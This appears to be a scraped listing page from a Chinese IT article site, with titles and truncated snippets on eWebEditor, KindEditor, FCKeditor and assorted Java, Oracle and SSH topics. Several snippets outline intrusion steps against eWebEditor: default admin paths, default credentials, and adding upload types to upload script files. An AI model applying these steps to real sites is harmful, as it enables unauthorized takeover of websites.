href="/search/%E5%B8%B8%E7%94%A8%E8%B5%84%E6%96%99/1.htm">常用资料</a> <div>ewebEditor默认上传文件大小限制到100k。上传一个超过100k的图片,会提示:“你上传的文件总大小超出最大限制(100KB)!”,于是决定修改源码。登录Editor后发现后台没有修改文件大小限制的功能,看来只能改源码了。找到eWebEditor/Asp/upload.asp这个文件,打开看一看,在变量dim中发现有nAllowSize字段,这个肯定是限制大小的,再往下看,果然出现了如下代</div> </li> <li><a href="/article/1306280119098183680.htm" title="eWebEditor 解决上传100K的限制及在上传文件时提示请选择一个有效的文件的解决方法" target="_blank">eWebEditor 解决上传100K的限制及在上传文件时提示请选择一个有效的文件的解决方法</a> <span class="text-muted">zibinghy</span> <a class="tag" taget="_blank" href="/search/ASP/1.htm">ASP</a> <div>在eWebEditor下找到Upload.asp文件.打开Upload.asp,限制上传文件大小的是这个变量nAllowSize.可以到数据库里修改相应字段的值.还有一个方法就是在Upload.asp里找到以下两个语句:oUpload.GetData(nAllowSize*1024)IfLenB(GetRemoteData)>nAllowSize*1024Then分别乘以想要的大小即可.如:oUp</div> </li> <li><a href="/article/1305128196533948416.htm" title="kindEditor编辑器的使用" target="_blank">kindEditor编辑器的使用</a> <span class="text-muted">larkim82</span> <div>一直以来想升级原有信息后台的编辑器,FCKeditor编辑器,WebEditor,eWebEditor在线编辑器都曾成为我升级的目标,后来无意中在网上发现了KindEditor这个编辑器,立即被它简单实用的功能所吸引,利用清明节三天在家的时间,将原来的编辑器升级为了KindEditor,感觉效果还不错。下面是使用效果:这个编辑器官方网站为:http://www.kindsoft.net/现有的版本</div> </li> <li><a href="/article/1297359846798073856.htm" title="ewebeditor漏洞利用总结" target="_blank">ewebeditor漏洞利用总结</a> <span class="text-muted">fengling132</span> <a class="tag" taget="_blank" href="/search/ewebeditor/1.htm">ewebeditor</a> <div>ewebeditor漏洞利用总结先从最基本的记录起!通常入侵ewebeditor编辑器的步骤如下:1、首先访问默认管理页看是否存在。默认管理页地址2.80以前为ewebeditor/admin_login.asp以后版本为admin/login.asp(各种语言的大家自己改后缀,本文就以asp来进行说明,下面不再细说了!)2、默认管理帐号密码!默认管理页存在!我们就用帐号密码登陆!默认帐号密码为:</div> </li> <li><a href="/article/1297112032142761984.htm" title="小迪教程第十二天——编辑器漏洞" target="_blank">小迪教程第十二天——编辑器漏洞</a> <span class="text-muted">仲夏199603</span> <a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/1.htm">渗透测试</a> <div>1、目前网站采用编辑器有哪些?Ewebeditor(asp),fckeditor(asp/aspx),kindeditor(php),southidceditor,cfeditor(php)等2、ewebeditor编译器漏洞找后台地址,尝试默认帐号密码登录,添加上传类型,上传脚本文件获得网站权限(地址找不到,默认帐号密码被修改,无法添加上传类型)默认后台地址:ewebeditor/admin_l</div> </li> <li><a href="/article/1297014619608522752.htm" title="kindEditor上传图片错误,不成功的问题总结" target="_blank">kindEditor上传图片错误,不成功的问题总结</a> <span class="text-muted">概念西瓜</span> <a class="tag" taget="_blank" href="/search/%E7%BC%96%E8%BE%91%E5%99%A8/1.htm">编辑器</a> <div>自己的网站是用的GB2312的编码,ASP做的网站。原来用了ewebeditor的后台HTML编译器,在使用了新空间后,编译器上传图片不成功了。我在网上找ewebeditor相关的资料,发现资料很少,自己去研究太花时间了,ewebeditor也不支持非IE的浏览器。还是另外使用一个HTML后台编辑器吧。在网上搜索了几个有名的后台编辑器,如下:CKEditorhttp://www.oschina.n</div> </li> <li><a href="/article/1296639294835859456.htm" title="再谈Fckeditor(ASP版)防止木马上传——修改上传类" target="_blank">再谈Fckeditor(ASP版)防止木马上传——修改上传类</a> <span class="text-muted">togis</span> <div>在上一篇博文《Fckeditor2.6.3(ASP版)修改(二)——检测上传文件是否为木马》防止木马的上传采用的是文件上传之后,将文件以文本方式打开,检查是否存在危险字符串,如果存在则删除该文件。同样这个方法也可以用在eWebEditor的防止上传木马中。近日,通过研究发现将上述过程转移到上传类中,效果更佳。Fckeditor使用是NetRubeUploadClassVersion2.3Build</div> </li> <li><a href="/article/1296023776848322560.htm" title="eWebEditor在线编辑器上传服务器后NullPointerException后解决方案" target="_blank">eWebEditor在线编辑器上传服务器后NullPointerException后解决方案</a> <span class="text-muted">hpjianhua</span> <a class="tag" taget="_blank" href="/search/%E9%A1%B9%E7%9B%AE%E5%BC%80%E5%8F%91%E6%A8%A1%E5%9D%97/1.htm">项目开发模块</a> <div>做了一个月的项目,下面把我经常用到的,在今天写了几篇文章,方便以后的查阅.:D[size=medium]eWebEditor在线编辑器上传服务器后NullPointerException后解决方案:这个问题的出现是这样的:在我们个人的电脑上用Tomcat测试是完全没问题的,但是一旦上传到Jsp空间上的服务器,问题就来了:抛出异常[/size]126:127:128:129:130:131:Stac</div> </li> <li><a href="/article/1295048810967408640.htm" title="oracle 替换clob里面的某个特定的字符串" target="_blank">oracle 替换clob里面的某个特定的字符串</a> <span class="text-muted">liooi</span> <div>第一步:判断clob里面是有包含某个特定的字符串:假如是说“/admin/ewebeditor/uploadfile/“关键字:dbms_lob.instrCode:[sql]viewplaincopyprint?selectst.id,st.contentfromt_d_strategystwheredbms_lob.instr(st.content,'/admin/ewebeditor/upl</div> </li> <li><a href="/article/1292113784147615744.htm" title="编辑器漏洞思路整理" target="_blank">编辑器漏洞思路整理</a> <span class="text-muted">baynk</span> <a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/WEB%E5%AE%89%E5%85%A8/1.htm">WEB安全</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E8%BE%91%E5%99%A8%E6%BC%8F%E6%B4%9E/1.htm">编辑器漏洞</a><a class="tag" taget="_blank" href="/search/%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/1.htm">上传漏洞</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a> <div>花了点时间弄了下web编辑器相关漏洞,整理下思路。编辑器种类最常见的是ewebeditor和fckeditor,除此还看到了ckeditor,ueditor,southidceditor,kindeditor,ckfinder等,研究的比较多的还是前两者。。。思路具体哪一个版本编辑器的漏洞暂时先不整理了,先记一下,回头再整理。找到编辑器的类型这个要分情况,有的编辑器需要登陆后台以后才可以进行访问,</div> </li> <li><a href="/article/1290993194351271936.htm" title="解决eWebEditor上传图片提示:请选择一个有效的文件,支持的格式有(GIF|JPG|JPEG|BMP|PNG)!..." target="_blank">解决eWebEditor上传图片提示:请选择一个有效的文件,支持的格式有(GIF|JPG|JPEG|BMP|PNG)!...</a> <span class="text-muted">weixin_34192993</span> <div>先打开:Internet信息服务(IIS)管理器(本地计算机)----属性----允许直接编辑配置数据库(N)一定要勾先“允许直接编辑配置数据库(N)”然后在服务里关闭iisadminservice服务找到windows/system32/inesrv下的metabase.xml,用计事本打开metabase.xml,找到ASPMaxRequestEntityAllowed把他修改为需要的值,默认</div> </li> <li><a href="/article/82.htm" title="java类加载顺序" target="_blank">java类加载顺序</a> <span class="text-muted">3213213333332132</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>package com.demo; /** * @Description 类加载顺序 * @author FuJianyong * 2015-2-6上午11:21:37 */ public class ClassLoaderSequence { String s1 = "成员属性"; static String s2 = "</div> </li> <li><a href="/article/209.htm" title="Hibernate与mybitas的比较" target="_blank">Hibernate与mybitas的比较</a> <span class="text-muted">BlueSkator</span> <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/%E6%A1%86%E6%9E%B6/1.htm">框架</a><a class="tag" taget="_blank" href="/search/ibatis/1.htm">ibatis</a><a class="tag" taget="_blank" href="/search/orm/1.htm">orm</a> <div>第一章     Hibernate与MyBatis Hibernate 是当前最流行的O/R mapping框架,它出身于sf.net,现在已经成为Jboss的一部分。 Mybatis 是另外一种优秀的O/R mapping框架。目前属于apache的一个子项目。 MyBatis 参考资料官网:http:</div> </li> <li><a href="/article/336.htm" title="php多维数组排序以及实际工作中的应用" target="_blank">php多维数组排序以及实际工作中的应用</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/usort/1.htm">usort</a><a class="tag" taget="_blank" href="/search/uasort/1.htm">uasort</a> <div>自定义排序函数返回false或负数意味着第一个参数应该排在第二个参数的前面, 正数或true反之, 0相等usort不保存键名uasort 键名会保存下来uksort 排序是对键名进行的 <!doctype html> <html lang="en"> <head> <meta charset="utf-8&q</div> </li> <li><a href="/article/463.htm" title="DOM改变字体大小" target="_blank">DOM改变字体大小</a> <span class="text-muted">周华华</span> <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml&q</div> </li> <li><a href="/article/590.htm" title="c3p0的配置" target="_blank">c3p0的配置</a> <span class="text-muted">g21121</span> <a class="tag" taget="_blank" href="/search/c3p0/1.htm">c3p0</a> <div>c3p0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。c3p0的下载地址是:http://sourceforge.net/projects/c3p0/这里可以下载到c3p0最新版本。 以在spring中配置dataSource为例: <!-- spring加载资源文件 --> <bean name="prope</div> </li> <li><a href="/article/717.htm" title="Java获取工程路径的几种方法" target="_blank">Java获取工程路径的几种方法</a> <span class="text-muted">510888780</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>第一种: File f = new File(this.getClass().getResource("/").getPath()); System.out.println(f); 结果: C:\Documents%20and%20Settings\Administrator\workspace\projectName\bin 获取当前类的所在工程路径; 如果不加“</div> </li> <li><a href="/article/844.htm" title="在类Unix系统下实现SSH免密码登录服务器" target="_blank">在类Unix系统下实现SSH免密码登录服务器</a> <span class="text-muted">Harry642</span> <a class="tag" taget="_blank" href="/search/%E5%85%8D%E5%AF%86/1.htm">免密</a><a class="tag" taget="_blank" href="/search/ssh/1.htm">ssh</a> <div>1.客户机     (1)执行ssh-keygen -t rsa -C "xxxxx@xxxxx.com"生成公钥,xxx为自定义大email地址     (2)执行scp ~/.ssh/id_rsa.pub root@xxxxxxxxx:/tmp将公钥拷贝到服务器上,xxx为服务器地址     (3)执行cat</div> </li> <li><a href="/article/971.htm" title="Java新手入门的30个基本概念一" target="_blank">Java新手入门的30个基本概念一</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/java+%E5%85%A5%E9%97%A8/1.htm">java 入门</a><a class="tag" taget="_blank" href="/search/%E6%96%B0%E6%89%8B/1.htm">新手</a> <div>在我们学习Java的过程中,掌握其中的基本概念对我们的学习无论是J2SE,J2EE,J2ME都是很重要的,J2SE是Java的基础,所以有必要对其中的基本概念做以归纳,以便大家在以后的学习过程中更好的理解java的精髓,在此我总结了30条基本的概念。  Java概述:  目前Java主要应用于中间件的开发(middleware)---处理客户机于服务器之间的通信技术,早期的实践证明,Java不适合</div> </li> <li><a href="/article/1098.htm" title="Memcached for windows 简单介绍" target="_blank">Memcached for windows 简单介绍</a> <span class="text-muted">antlove</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/cache/1.htm">cache</a><a class="tag" taget="_blank" href="/search/memcached/1.htm">memcached</a> <div>1. 安装memcached server a. 下载memcached-1.2.6-win32-bin.zip b. 解压缩,dos 窗口切换到 memcached.exe所在目录,运行memcached.exe -d install c.启动memcached Server,直接在dos窗口键入 net start "memcached Server&quo</div> </li> <li><a href="/article/1225.htm" title="数据库对象的视图和索引" target="_blank">数据库对象的视图和索引</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/%E7%B4%A2%E5%BC%95/1.htm">索引</a><a class="tag" taget="_blank" href="/search/oeacle%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">oeacle数据库</a><a class="tag" taget="_blank" href="/search/%E8%A7%86%E5%9B%BE/1.htm">视图</a> <div>  视图     视图是从一个表或视图导出的表,也可以是从多个表或视图导出的表。视图是一个虚表,数据库不对视图所对应的数据进行实际存储,只存储视图的定义,对视图的数据进行操作时,只能将字段定义为视图,不能将具体的数据定义为视图       为什么oracle需要视图;    &</div> </li> <li><a href="/article/1352.htm" title="Mockito(一) --入门篇" target="_blank">Mockito(一) --入门篇</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/%E6%8C%81%E7%BB%AD%E9%9B%86%E6%88%90/1.htm">持续集成</a><a class="tag" taget="_blank" href="/search/mockito/1.htm">mockito</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E5%85%83%E6%B5%8B%E8%AF%95/1.htm">单元测试</a> <div>        Mockito是一个针对Java的mocking框架,它与EasyMock和jMock很相似,但是通过在执行后校验什么已经被调用,它消除了对期望 行为(expectations)的需要。其它的mocking库需要你在执行前记录期望行为(expectations),而这导致了丑陋的初始化代码。  &nb</div> </li> <li><a href="/article/1479.htm" title="精通Oracle10编程SQL(5)SQL函数" target="_blank">精通Oracle10编程SQL(5)SQL函数</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/plsql/1.htm">plsql</a> <div>/* * SQL函数 */ --数字函数 --ABS(n):返回数字n的绝对值 declare v_abs number(6,2); begin v_abs:=abs(&no); dbms_output.put_line('绝对值:'||v_abs); end; --ACOS(n):返回数字n的反余弦值,输入值的范围是-1~1,输出值的单位为弧度</div> </li> <li><a href="/article/1606.htm" title="【Log4j一】Log4j总体介绍" target="_blank">【Log4j一】Log4j总体介绍</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/log4j/1.htm">log4j</a> <div>Log4j组件:Logger、Appender、Layout   Log4j核心包含三个组件:logger、appender和layout。这三个组件协作提供日志功能: 日志的输出目标 日志的输出格式 日志的输出级别(是否抑制日志的输出)  logger继承特性 A logger is said to be an ancestor of anothe</div> </li> <li><a href="/article/1733.htm" title="Java IO笔记" target="_blank">Java IO笔记</a> <span class="text-muted">白糖_</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div> public static void main(String[] args) throws IOException { //输入流 InputStream in = Test.class.getResourceAsStream("/test"); InputStreamReader isr = new InputStreamReader(in); Bu</div> </li> <li><a href="/article/1860.htm" title="Docker 监控" target="_blank">Docker 监控</a> <span class="text-muted">ronin47</span> <a class="tag" taget="_blank" href="/search/docker%E7%9B%91%E6%8E%A7/1.htm">docker监控</a> <div>         目前项目内部署了docker,于是涉及到关于监控的事情,参考一些经典实例以及一些自己的想法,总结一下思路。 1、关于监控的内容 监控宿主机本身 监控宿主机本身还是比较简单的,同其他服务器监控类似,对cpu、network、io、disk等做通用的检查,这里不再细说。 额外的,因为是docker的</div> </li> <li><a href="/article/1987.htm" title="java-顺时针打印图形" target="_blank">java-顺时针打印图形</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>一个画图程序 要求打印出: 1.int i=5; 2.1 2 3 4 5 3.16 17 18 19 6 4.15 24 25 20 7 5.14 23 22 21 8 6.13 12 11 10 9 7. 8.int i=6 9.1 2 3 4 5 6 10.20 21 22 23 24 7 11.19</div> </li> <li><a href="/article/2114.htm" title="关于iReport汉化版强制使用英文的配置方法" target="_blank">关于iReport汉化版强制使用英文的配置方法</a> <span class="text-muted">Kai_Ge</span> <a class="tag" taget="_blank" href="/search/iReport%E6%B1%89%E5%8C%96/1.htm">iReport汉化</a><a class="tag" taget="_blank" href="/search/%E8%8B%B1%E6%96%87%E7%89%88/1.htm">英文版</a> <div>对于那些具有强迫症的工程师来说,软件汉化固然好用,但是汉化不完整却极为头疼,本方法针对iReport汉化不完整的情况,强制使用英文版,方法如下: 在 iReport 安装路径下的 etc/ireport.conf 里增加红色部分启动参数,即可变为英文版。   # ${HOME} will be replaced by user home directory accordin</div> </li> <li><a href="/article/2241.htm" title="[并行计算]论宇宙的可计算性" target="_blank">[并行计算]论宇宙的可计算性</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E5%B9%B6%E8%A1%8C%E8%AE%A1%E7%AE%97/1.htm">并行计算</a> <div>       现在我们知道,一个涡旋系统具有并行计算能力.按照自然运动理论,这个系统也同时具有存储能力,同时具备计算和存储能力的系统,在某种条件下一般都会产生意识......       那么,这种概念让我们推论出一个结论     &nb</div> </li> <li><a href="/article/2368.htm" title="用OpenGL实现无限循环的coverflow" target="_blank">用OpenGL实现无限循环的coverflow</a> <span class="text-muted">dai_lm</span> <a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/coverflow/1.htm">coverflow</a> <div>网上找了很久,都是用Gallery实现的,效果不是很满意,结果发现这个用OpenGL实现的,稍微修改了一下源码,实现了无限循环功能 源码地址: https://github.com/jackfengji/glcoverflow public class CoverFlowOpenGL extends GLSurfaceView implements GLSurfaceV</div> </li> <li><a href="/article/2495.htm" title="JAVA数据计算的几个解决方案1" target="_blank">JAVA数据计算的几个解决方案1</a> <span class="text-muted">datamachine</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97/1.htm">计算</a> <div>老大丢过来的软件跑了10天,摸到点门道,正好跟以前攒的私房有关联,整理存档。 -----------------------------华丽的分割线-------------------------------------     数据计算层是指介于数据存储和应用程序之间,负责计算数据存储层的数据,并将计算结果返回应用程序的层次。J  &nbs</div> </li> <li><a href="/article/2622.htm" title="简单的用户授权系统,利用给user表添加一个字段标识管理员的方式" target="_blank">简单的用户授权系统,利用给user表添加一个字段标识管理员的方式</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/yii/1.htm">yii</a> <div>怎么创建一个简单的(非 RBAC)用户授权系统 通过查看论坛,我发现这是一个常见的问题,所以我决定写这篇文章。 本文只包括授权系统.假设你已经知道怎么创建身份验证系统(登录)。 数据库 首先在 user 表创建一个新的字段(integer 类型),字段名 'accessLevel',它定义了用户的访问权限 扩展 CWebUser 类 在配置文件(一般为 protecte</div> </li> <li><a href="/article/2749.htm" title="未选之路" target="_blank">未选之路</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/%E8%AF%97/1.htm">诗</a> <div>作者:罗伯特*费罗斯特   黄色的树林里分出两条路, 可惜我不能同时去涉足, 我在那路口久久伫立, 我向着一条路极目望去, 直到它消失在丛林深处.   但我却选了另外一条路, 它荒草萋萋,十分幽寂; 显得更诱人,更美丽, 虽然在这两条小路上, 都很少留下旅人的足迹.   那天清晨落叶满地, 两条路都未见脚印痕迹. 呵,留下一条路等改日再</div> </li> <li><a href="/article/2876.htm" title="Java处理15位身份证变18位" target="_blank">Java处理15位身份证变18位</a> <span class="text-muted">蕃薯耀</span> <a class="tag" taget="_blank" href="/search/18%E4%BD%8D%E8%BA%AB%E4%BB%BD%E8%AF%81%E5%8F%9815%E4%BD%8D/1.htm">18位身份证变15位</a><a class="tag" taget="_blank" href="/search/15%E4%BD%8D%E8%BA%AB%E4%BB%BD%E8%AF%81%E5%8F%9818%E4%BD%8D/1.htm">15位身份证变18位</a><a class="tag" taget="_blank" href="/search/%E8%BA%AB%E4%BB%BD%E8%AF%81%E8%BD%AC%E6%8D%A2/1.htm">身份证转换</a> <div>  15位身份证变18位,18位身份证变15位 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 蕃薯耀 201</div> </li> <li><a href="/article/3003.htm" title="SpringMVC4零配置--应用上下文配置【AppConfig】" target="_blank">SpringMVC4零配置--应用上下文配置【AppConfig】</a> <span class="text-muted">hanqunfeng</span> <a class="tag" taget="_blank" href="/search/springmvc4/1.htm">springmvc4</a> <div>从spring3.0开始,Spring将JavaConfig整合到核心模块,普通的POJO只需要标注@Configuration注解,就可以成为spring配置类,并通过在方法上标注@Bean注解的方式注入bean。   Xml配置和Java类配置对比如下: applicationContext-AppConfig.xml   <!-- 激活自动代理功能 参看:</div> </li> <li><a href="/article/3130.htm" title="Android中webview跟JAVASCRIPT中的交互" target="_blank">Android中webview跟JAVASCRIPT中的交互</a> <span class="text-muted">jackyrong</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/%E8%84%9A%E6%9C%AC/1.htm">脚本</a> <div>  在android的应用程序中,可以直接调用webview中的javascript代码,而webview中的javascript代码,也可以去调用ANDROID应用程序(也就是JAVA部分的代码).下面举例说明之: 1 JAVASCRIPT脚本调用android程序    要在webview中,调用addJavascriptInterface(OBJ,int</div> </li> <li><a href="/article/3257.htm" title="8个最佳Web开发资源推荐" target="_blank">8个最佳Web开发资源推荐</a> <span class="text-muted">lampcy</span> <a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E5%91%98/1.htm">程序员</a> <div>Web开发对程序员来说是一项较为复杂的工作,程序员需要快速地满足用户需求。如今很多的在线资源可以给程序员提供帮助,比如指导手册、在线课程和一些参考资料,而且这些资源基本都是免费和适合初学者的。无论你是需要选择一门新的编程语言,或是了解最新的标准,还是需要从其他地方找到一些灵感,我们这里为你整理了一些很好的Web开发资源,帮助你更成功地进行Web开发。 这里列出10个最佳Web开发资源,它们都是受</div> </li> <li><a href="/article/3384.htm" title="架构师之面试------jdk的hashMap实现" target="_blank">架构师之面试------jdk的hashMap实现</a> <span class="text-muted">nannan408</span> <a class="tag" taget="_blank" href="/search/HashMap/1.htm">HashMap</a> <div>1.前言。   如题。 2.详述。   (1)hashMap算法就是数组链表。数组存放的元素是键值对。jdk通过移位算法(其实也就是简单的加乘算法),如下代码来生成数组下标(生成后indexFor一下就成下标了)。 static int hash(int h) { h ^= (h >>> 20) ^ (h >>></div> </li> <li><a href="/article/3511.htm" title="html禁止清除input文本输入缓存" target="_blank">html禁止清除input文本输入缓存</a> <span class="text-muted">Rainbow702</span> <a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/%E7%BC%93%E5%AD%98/1.htm">缓存</a><a class="tag" taget="_blank" href="/search/input/1.htm">input</a><a class="tag" taget="_blank" href="/search/%E8%BE%93%E5%85%A5%E6%A1%86/1.htm">输入框</a><a class="tag" taget="_blank" href="/search/change/1.htm">change</a> <div>多数浏览器默认会缓存input的值,只有使用ctl+F5强制刷新的才可以清除缓存记录。 如果不想让浏览器缓存input的值,有2种方法: 方法一: 在不想使用缓存的input中添加 autocomplete="off";  <input type="text" autocomplete="off" n</div> </li> <li><a href="/article/3638.htm" title="POJO和JavaBean的区别和联系" target="_blank">POJO和JavaBean的区别和联系</a> <span class="text-muted">tjmljw</span> <a class="tag" taget="_blank" href="/search/POJO/1.htm">POJO</a><a class="tag" taget="_blank" href="/search/java+beans/1.htm">java beans</a> <div>POJO 和JavaBean是我们常见的两个关键字,一般容易混淆,POJO全称是Plain Ordinary Java Object / Pure Old Java Object,中文可以翻译成:普通Java类,具有一部分getter/setter方法的那种类就可以称作POJO,但是JavaBean则比 POJO复杂很多, Java Bean 是可复用的组件,对 Java Bean 并没有严格的规</div> </li> <li><a href="/article/3765.htm" title="java中单例的五种写法" target="_blank">java中单例的五种写法</a> <span class="text-muted">liuxiaoling</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E4%BE%8B/1.htm">单例</a> <div>/** * 单例模式的五种写法: * 1、懒汉 * 2、恶汉 * 3、静态内部类 * 4、枚举 * 5、双重校验锁 */ /** * 五、 双重校验锁,在当前的内存模型中无效 */ class LockSingleton { private volatile static LockSingleton singleton; pri</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>